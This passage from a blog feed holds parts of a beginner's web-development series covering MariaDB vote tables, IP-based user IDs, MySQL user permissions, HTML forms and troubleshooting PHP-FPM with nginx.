src="https://cdn-images-1.medium.com/max/1024/1*ECEwUpioFP_mGz_E5LOC4A.jpeg" /></figure><p>I thought about doing something like this: a table in which every entry (row) is a user’s vote, it contains the user’s ID (a number that identifies the user) and a boolean (true or false) type called <em>liked</em>, which will be true if the user voted that he liked the page, and false otherwise. Then, to make the statistics we would sum how many trues and falses are there at the table. The table would look like this:</p><pre>MariaDB [herschel]&gt; <strong>CREATE TABLE test(id integer, liked boolean);<br></strong>Query OK, 0 rows affected (1.46 sec)</pre><pre>MariaDB [herschel]&gt;<strong> INSERT INTO test VALUES (1, TRUE);</strong><br>Query OK, 1 row affected (0.14 sec)</pre><pre>MariaDB [herschel]&gt;<strong> INSERT INTO test VALUES (2, TRUE);</strong><br>Query OK, 1 row affected (0.18 sec)</pre><pre>MariaDB [herschel]&gt; <strong>INSERT INTO test VALUES (3, TRUE);</strong><br>Query OK, 1 row affected (0.07 sec)</pre><pre>MariaDB [herschel]&gt; <strong>INSERT INTO test VALUES (3, FALSE);</strong><br>Query OK, 1 row affected (0.07 sec)</pre><pre>MariaDB [herschel]&gt; <strong>SELECT * FROM test;</strong><br><strong>+------+-------+<br>| id   | liked |<br>+------+-------+<br>|    1 |     1 |<br>|    2 |     1 |<br>|    3 |     1 |<br>|    3 |     0 |<br>+------+-------+<br></strong>4 rows in set (0.05 sec)</pre><p>Notice that TRUE values are stored as zeroes, and FALSE values as ones. But the user ID has to be unique (notice that I’ve inserted the user 3 twice), for that we use<a href="https://www.w3schools.com/sql/sql_constraints.asp"> SQL constraints</a>:</p><pre>MariaDB [herschel]&gt; <strong>CREATE TABLE test_2 (<br>    -&gt; id INTEGER UNIQUE,<br>    -&gt; liked BOOLEAN<br>    -&gt; );</strong><br>Query OK, 0 rows affected (0.53 sec)</pre><pre>MariaDB [herschel]&gt; <strong>INSERT INTO test_2 VALUES (1, TRUE);</strong><br>Query OK, 1 row affected (0.12 sec)</pre><pre>MariaDB [herschel]&gt; <strong>INSERT INTO test_2 VALUES (1, FALSE);</strong><br>ERROR 1062 (23000): <strong>Duplicate entry &#39;1&#39; for key &#39;id&#39;</strong></pre><p>Now let’s make this test_2 table our new vote table, first we drop the original vote table:</p><pre>MariaDB [herschel]&gt; <strong>DROP TABLE vote;</strong><br>Query OK, 0 rows affected (0.35 sec)</pre><p>Then we change the name of test_2 to vote using the <a href="https://www.techonthenet.com/sql/tables/alter_table.php">alter table command</a>:</p><pre>MariaDB [herschel]&gt; <strong>ALTER TABLE test_2<br>    -&gt; RENAME TO vote;</strong><br>Query OK, 0 rows affected (0.27 sec)</pre><pre>MariaDB [herschel]&gt; <strong>show tables;<br>+--------------------+<br>| Tables_in_herschel |<br>+--------------------+<br>| vote               |<br>+--------------------+</strong><br>1 row in set (0.00 sec)</pre><p>BOOM, now we have a table to store the votes! Now we save the changes and quit:</p><pre>MariaDB [herschel]&gt;<strong> quit<br>Bye</strong></pre><p>How polite.</p><h3>Problem 2: Generating unique user IDs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nVuWqXxZav8BTFPYr1xIMA.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@dom-j-7304?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Dom J</a> from <a href="https://www.pexels.com/photo/document-id-uk-driving-license-driving-licence-45113/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>Let’s google something:</p><blockquote>generate user id nginx</blockquote><p>Nope. What if we used the computer’s IP address to identify the user? I know it’s not perfect as multiple users can use the same PC, but it’s a start:</p><blockquote>get client IP address php</blockquote><p>Well well well, what do we have <a href="https://stackoverflow.com/questions/3003145/how-to-get-the-client-ip-address-in-php">here</a>?</p><blockquote>Whatever you do, make sure not to trust data sent from the client. $_SERVER[&#39;REMOTE_ADDR&#39;] contains the real IP address of the connecting party. That is the most reliable value you can find.</blockquote><p>Does that work? Let’s see, I’ll set up a page in our server that tells us our IP:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1833a0dc4b2c6df4afd0573aeaf853a2/href">https://medium.com/media/1833a0dc4b2c6df4afd0573aeaf853a2/href</a></iframe><p>If you access it from localhost you probably got something like ::1, but accessing from outside gives us a ‘normal’ IP address.</p><p>IT WORKS! But here’s the thing: now we’re using IP addresses, not integers, to identify the users, so we need to change the id field on our vote table to use strings instead of integers:</p><pre>MariaDB [herschel]&gt; <strong>ALTER TABLE vote<br>    -&gt; MODIFY id VARCHAR(15);</strong><br>Query OK, 1 row affected (1.28 sec)                <br>Records: 1  Duplicates: 0  Warnings: 0</pre><p>Great, now we can identify users and our tables are up to date.</p><h3>Problem 3: Using proper users to access database</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZQsUAHfkYtIxXAPwPJQuQ.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@daniel-reche-718241?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Daniel Reche</a> from <a href="https://www.pexels.com/photo/eggs-in-tray-on-white-surface-1556707/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>Let’s google the error we got:</p><blockquote>Connection failed: Access denied for user ‘root’@’localhost’</blockquote><p>Oh boy, <a href="https://stackoverflow.com/questions/6445917/connect-failed-access-denied-for-user-rootlocalhost-using-password-yes">this</a> really seems to seal the deal, let’s try it then. First, we log in as root and create a new user:</p><pre>$ <strong>sudo mysql -u root -p -h localhost</strong></pre><pre>MariaDB [(none)]&gt; <strong>CREATE USER &#39;gabriel@localhost&#39; IDENTIFIED BY &#39;my_secret_password&#39;;</strong></pre><p>Now we give the user gabriel access to the database herscheland quit:</p><pre>MariaDB [(none)]&gt; <strong>GRANT ALL PRIVILEGES ON herschel.* TO &#39;gabriel@localhost&#39;;</strong><br>Query OK, 0 rows affected (0.02 sec)</pre><pre>MariaDB [(none)]&gt; <strong>quit</strong><br>Bye</pre><p>Let’s now try to log in as the new user:</p><pre>$ <strong>mysql -u gabriel -p -h localhost </strong><br>Enter password: <br><strong>ERROR 1045 (28000): Access denied for user &#39;gabriel&#39;@&#39;localhost&#39; (using password: YES)</strong></pre><p>Crap, but I had an idea. I think what’s really happening is that my user gabriel, the OS (Linux) user, not the mysql user we just created, doesn’t have access to mysql. Let’s google a little bit more:</p><blockquote>mysql only sudo has access to database</blockquote><p>Strange, <a href="https://stackoverflow.com/questions/37239970/connect-to-mysql-server-without-sudo">that</a>’s exactly what we did…</p><p>OH MY GOD I FORGOT THE DAMN QUOTES!</p><p>The answer says:</p><pre>CREATE USER &#39;<strong>francesco&#39;@&#39;localhost&#39;</strong> IDENTIFIED BY &#39;some_pass&#39;;</pre><pre>GRANT ALL PRIVILEGES ON shop.* TO <strong>&#39;francesco&#39;@&#39;localhost&#39;</strong>;</pre><p>And I did:</p><pre>CREATE USER <strong>&#39;gabriel@localhost&#39;</strong> IDENTIFIED BY &#39;my_secret_password&#39;;</pre><pre>GRANT ALL PRIVILEGES ON herschel.* TO <strong>&#39;gabriel@localhost&#39;</strong>;</pre><p>The problem was that I typed this &#39;gabriel@localhost&#39;instead of this &#39;gabriel&#39;@&#39;localhost&#39;. Okay, now it works.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=678328588900" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Get started in web development with me — Part 4: HTML forms, PHP and dealing with problems]]></title>
            <link>https://gmelodie.medium.com/get-started-in-web-development-with-me-part-4-html-forms-php-and-dealing-with-problems-79c9a1c8829d?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/79c9a1c8829d</guid>
            <category><![CDATA[php]]></category>
            <category><![CDATA[fastcgi]]></category>
            <category><![CDATA[html-form]]></category>
            <category><![CDATA[nginx]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Mon, 21 Jan 2019 18:48:24 GMT</pubDate>
            <atom:updated>2020-03-09T09:07:08.865Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n4VBS54zK4MxTbgs6sAJbA.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@steve?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Steve Johnson</a> from <a href="https://www.pexels.com/photo/focus-photo-of-yellow-paper-near-trash-can-850216/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><h3>Get started in web development with me — Part 4: HTML forms, PHP and dealing with problems</h3><p>Hey you! Hope you enjoyed my last post. If you haven’t checked <a href="https://medium.com/@ltcrills/get-started-in-web-development-with-me-internet-web-hypertext-html-and-urls-3603830967b1">part 1</a>, <a href="https://medium.com/@ltcrills/get-started-in-web-development-with-me-protocols-servers-and-http-33c527725b74">part 2</a> and <a href="https://medium.com/@ltcrills/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3">part 3</a> go ahead and read them, they’ll give you basic understanding of how this series work and get you started with some basic concepts.</p><p>So today we’re going to work a little bit more on —</p><p>Sh*t. I went to Facebook for a minute and turns out I spent my entire afternoon in it… woooops!</p><p>But to be honest I think procrastinating for 4 hours gave me a great idea of what important web concept of we’re missing.</p><p>Lost in the series? Here are <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-internet-web-hypertext-html-and-urls-3603830967b1">Part 1</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-protocols-servers-and-http-33c527725b74">Part 2</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3">Part 3</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-4-html-forms-php-and-dealing-with-problems-79c9a1c8829d">Part 4</a> and <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-5-php-intro-databases-and-sql-678328588900">Part 5</a>.</p><h3>An important web concept we’re missing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J989z6z-eADwj-IGNMO2UA.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@fancycrave?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Fancycrave.com</a> from <a href="https://www.pexels.com/photo/photo-of-black-flat-screen-monitor-811103/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>Go ahead and log in your Facebook account real quick. If you don’t have a Facebook account any other social network will do.</p><p>Do you realize that all those websites allow you to modify them in a certain way? On Facebook, Twitter and LinkedIn you have your timeline where you can post stuff. Do you realize what’s going on here? You’re <em>posting</em> things.</p><p>Not clear yet? What you’re basically doing is <strong>modifying</strong> the content that’s available in the website, but with some restrictions (you can’t just go around changing everything on the server).</p><p>So how does a server <em>receives</em> input from its clients?</p><h3>HTML Forms: How a server receives input from its clients</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eaCOQITLVqbRfk4KVVvB3A.jpeg" /></figure><p>This is something I’ve known for some time, but I’ve never actually used one. So let’s take a look at a quick <a href="https://www.w3schools.com/html/html_forms.asp">forms tutorial</a>.</p><p>A form is a pretty obvious thing, you’ve probably seen them all over the web: login forms, posting forms, comment forms, etc.</p><p>Let’s build some sh*t.</p><h4>Herschel Evans’ comment section</h4><p>Remember our Herschel Evans’ website? Let’s add a commenting section to it so that people can submit their comments.</p><p>Actually, I had a better (simpler) idea. Instead of a commenting section, that adds/removes/edits things from our page, let’s add a voting form asking whether people liked or not the page.</p><h4>Voting form</h4><p>First of all we need an HTML form to receive the data, with <a href="https://en.wikipedia.org/wiki/Radio_button">radio buttons</a> and a submit button:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/56b01b21643e38dd0adad5f9c92b069c/href">https://medium.com/media/56b01b21643e38dd0adad5f9c92b069c/href</a></iframe><p>Simple right? Let’s take a look at some things that are not so obvious:</p><ol><li>What’s the reason for the field value=&quot;yes&quot; if the text displayed is already “Yes”? The value is the text that will be sent to the <strong>form handler</strong>, the thing that gets the form and does something with it, and the “Yes” is just the text that will be displayed after the button in the page.</li><li>What about the field name=&quot;liked&quot;? That is because those buttons belong to the same option, take a look at this health research form I made, I added various <a href="https://www.w3schools.com/html/html_form_input_types.asp">input types</a> as well:</li></ol><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4c94f31125a93dc64809f11975e7ada9/href">https://medium.com/media/4c94f31125a93dc64809f11975e7ada9/href</a></iframe><p>All right, we now know how to create basic HTML forms, we can receive input from our clients through HTML.</p><p>But how does a server <em>processes </em>input from its clients?</p><h3>HTML handlers: how a server processes input from its clients</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LySJfzFk7v5HrV0FQPhBTg.jpeg" /></figure><p>Now that we have a way for the client to tell us what he wants we need to collect this information the forms are sending us and do something with it. In the our case we are going to update a number (or percentage) that shows how many people liked and disliked our page.</p><p>Let’s take a look at the <em>The Action Attribute</em> section on the <a href="https://www.w3schools.com/html/html_forms.asp">w3schools tutorial</a>:</p><blockquote>The action attribute defines the action to be performed when the form is submitted.</blockquote><p>So, according to w3schools, we would do something like this:</p><pre>&lt;form <strong>action=”/action_page.php</strong>”&gt;</pre><p>Okay, seems simple. There’s just a tiny problem: I don’t know any PHP at all.</p><h3>PHP — Hypertext Preprocessor</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l0rkhXUnMtGFXrRqcaEcoA.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@fancycrave?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Fancycrave.com</a> from <a href="https://www.pexels.com/photo/green-ram-card-collection-825262/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>Let’s read the <a href="https://en.wikipedia.org/wiki/PHP">Wikipedia description</a> for PHP:</p><blockquote><strong>PHP: Hypertext Preprocessor</strong> (or simply <strong>PHP</strong>) is a server-side scripting language designed for Web development.</blockquote><p>Soooo what’s <a href="https://en.wikipedia.org/wiki/Server-side_scripting">server-side scripting</a> again?</p><blockquote><strong>Server-side scripting</strong> is a technique used in web development which involves employing scripts on a web server which produce a response customized for each user’s (client’s) request to the website. The alternative is for the web server itself to deliver a static web page.</blockquote><p>So server-side scripting is basically a technique in which the client’s actions make the server execute some type of script, a piece of code that does something.</p><p>So PHP is a language for creating scripts so that the server can do some processing before it serves us the pages. In our voting case, what the server has to do is maintain two counters: one of likes and another one of dislikes. Then, when it receives a request for the web page, it puts the counters in the HTML and sends the page. Also, the server has to update those counters every time it receives a voting form.</p><p>This is interesting, we need to use PHP to actually build a part of our HTML pages on-the-fly. These pages are called <strong>dynamic Web pages</strong>.</p><p>First of all let’s <a href="https://secure.php.net/manual/en/install.unix.php">install PHP</a>, I’ll be using <a href="https://websiteforstudents.com/install-php-7-3-php-7-3-fpm-with-apache2-nginx-on-ubuntu-16-04-18-04-18-10/">this installation tutorial for Debian</a>.</p><p>Now we can start reading the <a href="https://www.w3schools.com/php/default.asp">w3schools’ PHP tutorial</a>. We don’t need to know everything it talks about, so here are the sections I believe are most important to us right now: Intro, Syntax, Variables, Echo/Print, Form Handling.</p><p>We don’t need to be experts in PHP just now. Let’s, as always, start small and simple. And what better way to do this than with a Hello World?</p><h4>(P)H(P)ello World!</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/80624ecbb5d48945904861e885a6e362/href">https://medium.com/media/80624ecbb5d48945904861e885a6e362/href</a></iframe><p>Let’s access this page using our browser… Sh*t, it doesn’t work: <strong>404, Not Found</strong>. What the — ?</p><p>Maybe this is because of the path in which the file is stored: /home/gabriel/html/php/hello_world_php.html. No, same error when it’s on /home/gabriel/html.</p><p>Maybe this is because I’m trying to embed PHP code into HTML in a funny way, let’s try raw PHP:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/14d7ded40182426d5f7848d6e452a411/href">https://medium.com/media/14d7ded40182426d5f7848d6e452a411/href</a></iframe><p>404 Not Found. Alright, check out the <strong>Problems section 1</strong> for the solution of this problem.</p><p>Okay now we can access PHP files… But the code above shows this on the browser:</p><pre>&lt;?php<br>  echo &quot;&lt;h1&gt;Hello World!&lt;/h1&gt;&quot;;<br>?&gt;</pre><p>This means that our server is not processing PHP at all! See <strong>Problems section 2 </strong>on how to solve this.</p><p>Phew! I had a lot of trouble installing and configuring PHP.</p><p>Now that we know how to say ‘Hello World’ on PHP we can start doing some more interesting stuff. How about a calculator?</p><h4>Calculator</h4><p>This should be easy: simple form that takes two numbers and an operation and redirects to a page with the answer:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/34ef175da973dac831bb5fe75c35cc92/href">https://medium.com/media/34ef175da973dac831bb5fe75c35cc92/href</a></iframe><p>Now we add a handler PHP file to calculate that:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3f01cf024e55341221bd2880079e0d60/href">https://medium.com/media/3f01cf024e55341221bd2880079e0d60/href</a></iframe><p>IT WORKS!!!</p><p>If you don’t have much programming experience it’s possible that you understood close to nothing about this code. In that case I recommend you read the <a href="https://www.w3schools.com/php/php_operators.asp">operators</a> and the <a href="https://www.w3schools.com/php/php_if_else.asp">IF/ELSE</a> tutorials on PHP. If you don’t have much experience with programming I suggest you dig into <a href="https://www.w3schools.com/php/php_switch.asp">switch statements</a> as well in order to practice a little bit more.</p><h3>Thanks for reading</h3><p>Thank you so much for reading. To be honest this was the first time on this series I didn’t really know what was going on at all, so please let me know if you have thoughts on how to improve my explanation.</p><p>Thank you for reading, see you next time.</p><h3>PROBLEMS</h3><p><strong>IMPORTANT:</strong> Don’t go around copying everything I’m doing before reading all the section because, more often than not, I tend to break things before I understand how to fix them. Read the entire section, figure out what’s going on, and than fix the problem you’re having.</p><h3>1. PHP 404 Not Found: FastCGI and Linux packages</h3><p>The problem here is that the server isn’t opening (404: Not Found) PHP files (files with the.phpextention). But it serves fine HTML files with PHP code in it. Well… It <em>serves</em> HTML files with PHP code, but it doesn’t seem to process the PHP code.</p><p>Let’s try <a href="https://stackoverflow.com/questions/17808787/file-not-found-when-running-php-with-nginx">this Stack Overflow question,</a> it says something about getting an specific error on the FastCGI log file, let’s check that file and look for some errors.</p><blockquote><strong>You:</strong> But wait! What the hell is FastCGI?</blockquote><blockquote><strong>Me:</strong> Great question, I have absolutely no idea, lol.</blockquote><p>I did some digging on <a href="https://en.wikipedia.org/wiki/FastCGI">Wikipedia</a> and found a <a href="https://www.quora.com/What-is-FastCGI-in-PHP">question on Quora</a>:</p><blockquote><strong>What is FastCGI in PHP?</strong></blockquote><blockquote>It’s a way for PHP to be executed by a process that’s separate from the webserver. This allows the FastCGI process to execute more efficiently.</blockquote><p>CGI stands for Common Gateway Interface. In other words, it’s a way for other programs (processes) to do things for the web server, so that these things don’t have to be done all in one process (the server’s process).</p><p>I found something interesting while looking for the error log, check <a href="https://serverfault.com/questions/375432/is-there-an-access-log-for-fastcgi">this</a> out:</p><blockquote>I’m trying to set up a global location in nginx. It all works perfectly right now, other than PHP scripts requiring fastcgi. They&#39;re running a 404.</blockquote><p>The thing to realize here is not the question itself, but the information contained in it: There’s this location thing, I remember this from when I was installing PHP in Nginx, I had to add a location thing in the configuration file:</p><pre>location ~ \.php$ {<br>    include snippets/fastcgi-php.conf;<br>    fastcgi_pass unix:/run/php/php7.2-fpm.sock;<br>}</pre><p>And after that the tutorial told me to restart the Nginx service:</p><pre>$ sudo systemctl restart nginx</pre><p>And I did. But I know that nginx reloads the configuration file with:</p><pre>$ sudo nginx -s reload</pre><p>or with</p><pre>$ sudo nginx -s restart</pre><p>So I let’s try the reload. No luck.</p><p>Here’s something interesting I found on the tutorial I “followed” (I didn’t read it…. oooops):</p><blockquote>Unlike Apache, Nginx doesn’t have a built in support for processing PHP files so we need to install a separate application such as PHP FPM (“fastCGI process manager”) which will handle PHP files.</blockquote><p>And then it tells me to download the php-fpm package:</p><pre>$ sudo apt install php7.2-fpm</pre><p>But here’s the catch: the tutorial is a bit old! Take a look at my PHP version:</p><pre><strong>$ php -v</strong><br>PHP 7.3.1 (cli) (built: Jan 15 2019 14:20:03) ( NTS )<br>Copyright (c) 1997-2018 The PHP Group<br>Zend Engine v3.3.1, Copyright (c) 1998-2018 Zend Technologies</pre><p>My PHP is version 7.3 and I have the FPM for version 7.2! Let’s remove FPM for PHP 7.2 and install the one for version 7.3 then:</p><pre><strong>$ sudo apt remove php7.2-fpm</strong><br>...<br><strong>$ sudo apt install php7.3-fpm</strong><br>Some packages could not be installed. This may mean that you have<br>requested an impossible situation or if you are using the unstable<br>distribution that some required packages have not yet been created<br>or been moved out of Incoming.<br>The following information may help to resolve the situation:</pre><pre>The following packages have unmet dependencies:<br> php7.3-fpm : Depends: php7.3-cli but it is not going to be installed<br>              Depends: libpcre2-8-0 (&gt;= 10.31) but 10.22-3 is to be installed</pre><p>Ah crap, I installed a bunch of sh*t for PHP version 7.2. I could just reinstall PHP on version 7.2, but I want the newest version. Let’s remove this old crap and try to install the new crap:</p><pre><strong>$ sudo apt remove php7.2-*<br></strong>...<strong><br>$ sudo apt install </strong><strong>php7.3-common php7.3-cli<br></strong>Some packages could not be installed. This may mean that you have<br>requested an impossible situation or if you are using the unstable<br>distribution that some required packages have not yet been created<br>or been moved out of Incoming.<br>The following information may help to resolve the situation:</pre><pre>The following packages have unmet dependencies:<br> <strong>php7.3-cli : Depends: libpcre2-8-0 (&gt;= 10.31) but 10.22-3 is to be installed<br></strong>E: Unable to correct problems, you have held broken packages.</pre><p>Okay, I’m guessing <em>libpcre </em>is a package required by php7.*-cli, and probably php7.2-cliand php7.3-cli require different versions of <em>libpcre. </em>What happened is when apt removed php7.2-cli it didn’t remove the <em>libpcre </em>version of it required upon installation. Take a look at what apt tells us when I try to manually install <em>libpcre:</em></p><pre>The following packages were automatically installed and are no longer required:<br>  libargon2-1 libsodium23 php-common<br>Use &#39;sudo apt autoremove&#39; to remove them.</pre><p>Great! It tells us how to remove old unnecessary packages:</p><pre><strong>$ sudo apt autoremove<br></strong>...<br><strong>$ sudo apt install </strong><strong>php7.3-common php7.3-cli<br>...<br></strong>The following packages have unmet dependencies:<br> php7.3-cli : Depends: libpcre2-8-0 (&gt;= 10.31) but 10.22-3 is to be installed<br>E: Unable to correct problems, you have held broken packages.</pre><p>Dammit, same problem.</p><blockquote><strong>You:</strong> Why are you going through all that trouble just to fix that? Just delete libpcre and move on dude!</blockquote><blockquote><strong>Me:</strong> It’s possible that other stuff on our machine depends on libpcre, so we can’t just blindly uninstall it.</blockquote><p>Oh, <a href="https://stackoverflow.com/a/35679746/6032037">looks like we could’ve used aptitude</a>:</p><blockquote>-f, — fix-broken Fix; attempt to correct a system with broken dependencies in place. This option, when used with install/remove, can omit any packages to permit APT to deduce a likely solution. If packages are specified, these have to completely correct the problem.</blockquote><p>Let’s give this a try, I’ll be using the packages from <a href="https://websiteforstudents.com/install-php-7-3-php-7-3-fpm-with-apache2-nginx-on-ubuntu-16-04-18-04-18-10/">this tutorial</a>:</p><pre><strong>$ sudo aptitude install -f php7.3-fpm php7.3-cli php7.3-mysql php7.3-gd php7.3-imagick php7.3-recode php7.3-tidy php7.3-xmlrpc<br></strong>...<br>The following packages have unmet dependencies:<br> php7.3-cli : Depends: libpcre2-8-0 (&gt;= 10.31) but 10.22-3 is installed<br> php7.3-fpm : Depends: libpcre2-8-0 (&gt;= 10.31) but 10.22-3 is installed<br>The following actions will resolve these dependencies:</pre><pre>Keep the following packages at their current version:<br>1)     php7.3-cli <strong>[Not Installed]</strong>                         <br>2)     php7.3-fpm <strong>[Not Installed]</strong></pre><pre><strong>Accept this solution? [Y/n/q/?]</strong></pre><p>No! You’re telling me you’re just not going to install those packages? I DO NOT ACCEPT THAT “SOLUTION” YOU MORON!</p><pre>The following actions will resolve these dependencies:</pre><pre>Upgrade the following packages:                                            <br>1)     libpcre2-8-0 [10.22-3 (now, stable) -&gt; 10.31-3+0~20180714171306.1+stretch</pre><pre><strong>Accept this solution? [Y/n/q/?] y</strong></pre><p>That’s more like it, and IT WORKS!</p><h3>2. Nginx not processing PHP</h3><p>Let’s google this (by the way, I actually use <a href="https://duckduckgo.com/">DuckDuckGo</a>):</p><blockquote>nginx not processing php</blockquote><p>Found <a href="https://stackoverflow.com/questions/37305230/nginx-not-executing-php">this question,</a> here’s the answer:</p><blockquote>Ok, so based on our comments back and forth you need to add this section to your nginx config for the server config listening on :8000.</blockquote><blockquote>That regex tells nginx that whenever it gets a request for a URL with a file ending in .php to send that to the fastcgi process. Otherwise it’s going to default to returning the raw file that matches in /var/www/html.</blockquote><pre># pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000<br>#<br>location ~ \.php$ {<br>    try_files $uri =404;<br>    include snippets/fastcgi-php.conf;</pre><pre>    # With php5-cgi alone:<br>    #fastcgi_pass 127.0.0.1:9000;<br>    # With php5-fpm:<br>    #fastcgi_split_path_info ^(.+\.php)(/.+)$;<br>    fastcgi_pass unix:/var/run/php5-fpm.sock;<br>    #fastcgi_index index.php;<br>    include fastcgi_params;<br>}</pre><p>Let’s try adding this location bit to our server configuration file, changing the path /var/run/php5-fpm.sock to match our PHP version:</p><pre># /etc/nginx/nginx.conf<br>user www-data;<br>worker_processes auto;<br>pid /run/nginx.pid;<br>include /etc/nginx/modules-enabled/*.conf;</pre><pre>events {<br> worker_connections 768;<br> # multi_accept on;<br>}</pre><pre>http {<br> server {<br>  location / {<br>   root /home/gabriel/html;<br>  }<br>  location ~ \.php$ {<br><strong>    try_files $uri =404</strong>;<br>    include snippets/fastcgi-php.conf;<br>    fastcgi_pass unix:<strong>/var/run/php7.3-fpm.sock;</strong><br>    #fastcgi_index index.php;<br>    include fastcgi_params;<br>  }<br> }<br>}</pre><p>And restart the nginx server:</p><pre>$ sudo nginx -s reload</pre><pre>nginx: [emerg] <strong>&quot;try_files&quot; directive is duplicate in /etc/nginx/snippets/fastcgi-php.conf:5</strong></pre><p>No luck. My guess is that what we tried to specify is already specified in other configuration files, let’s take a look at /etc/nginx/snippets/fastcgi-php.conf:</p><pre># regex to split $uri to $fastcgi_script_name and $fastcgi_path<br>fastcgi_split_path_info ^(.+\.php)(/.+)$;</pre><pre># Check that the PHP script exists before passing it<br><strong>try_files $fastcgi_script_name =404;</strong></pre><pre># Bypass the fact that try_files resets $fastcgi_path_info<br># see: <a href="http://trac.nginx.org/nginx/ticket/321">http://trac.nginx.org/nginx/ticket/321</a><br>set $path_info $fastcgi_path_info;<br>fastcgi_param PATH_INFO $path_info;</pre><pre>fastcgi_index index.php;<br>include fastcgi.conf;</pre><p>I have no idea of what’s going on here, <a href="https://www.sitepoint.com/setting-up-php-behind-nginx-with-fastcgi/">this tutorial</a> seems to give a good overall explanation of FastCGI’s configurations:</p><blockquote>Ubuntu places nginx’s configuration files in /etc/nginx and its sub-directories. Shared configuration fragments are kept in that root, and specific server setups reside in sites-available with <a href="https://www.nixtutor.com/freebsd/understanding-symbolic-links/">symlinks</a> in sites-enabled to make them active.</blockquote><p>So it seems we have been using configurations’ files the wrong way, let’s move our server configuration to a file /etc/nginx/sites-available/hersheland create a symlink /etc/nginx/sites-enabled/hershel to that file.</p><p>Make a copy of /etc/nginx/sites-available/default and change the location to match our server’s location:</p><pre>$ cd /etc/nginx/sites-available/<br>$ sudo cp default herschel<br>$ sudo vim hershel         # use any editor you like (emacs, nano)</pre><p>Now we change the file to include our root directory:</p><pre># remove this line<br>root /var/www/html;<br># add this line to location / block<br>root /home/gabriel/html/; # our server&#39;s root (where our html is)</pre><p>And we enable PHP by uncommenting this section, remember to change the version number to match your PHP version:</p><pre>location ~ \.php$ {<br>  include snippets/fastcgi-php.conf;<br> <br>  # With php-fpm (or other unix sockets):<br>  fastcgi_pass unix:/var/run/php/<strong>php7.3</strong>-fpm.sock;<br>  # With php-cgi (or other tcp sockets):<br>  # fastcgi_pass 127.0.0.1:9000;<br>}</pre><p>Then we create a symlink to replace the default symlink:</p><pre>$ cd ..<br>$ sudo rm sites-enabled/default<br>$ sudo ln -s /etc/nginx/sites-available/herschel sites-enabled/default</pre><p>Finally, we reload the configuration files:</p><pre>$ sudo nginx -s reload<br>nginx: [emerg] <strong>&quot;fastcgi_pass&quot; directive is duplicate in /etc/nginx/sites-enabled/default:62</strong></pre><p>Crap. I guess I shouldn’t have uncommented both the <em>fastcgi_pass</em>’ lines, so let’s comment one of them (the one with php-cgi, because we’re using php-fpm):</p><pre>location ~ \.php$ {<br>  include snippets/fastcgi-php.conf;<br> <br>  # With php-fpm (or other unix sockets):<br>  fastcgi_pass unix:/var/run/php/<strong>php7.3</strong>-fpm.sock;<br>  # With php-cgi (or other tcp sockets):<br>  # fastcgi_pass 127.0.0.1:9000; # comment this line<br>}</pre><p>And reload the configuration files again:</p><pre>$ sudo nginx -s reload</pre><p>Okayy now we have our website back. Let’s try to access hello_world.php again:</p><pre>404 NOT FOUND</pre><p>Crap. Maybe restarting the <em>php7.3-fpm</em> service?</p><pre>$ sudo systemctl restart php7.3-fpm</pre><p>Nope. I think it’s time to stop trying to guess what’s going on. Let’s read <a href="https://www.linode.com/docs/web-servers/nginx/serve-php-php-fpm-and-nginx/">another tutorial,</a> and then try again:</p><pre>No input file specified.</pre><p>Sweet, it doesn’t throw a 404 any more. But it’s still not showing what we want, let’s google this:</p><blockquote>php no input file specified nginx</blockquote><p>I found <a 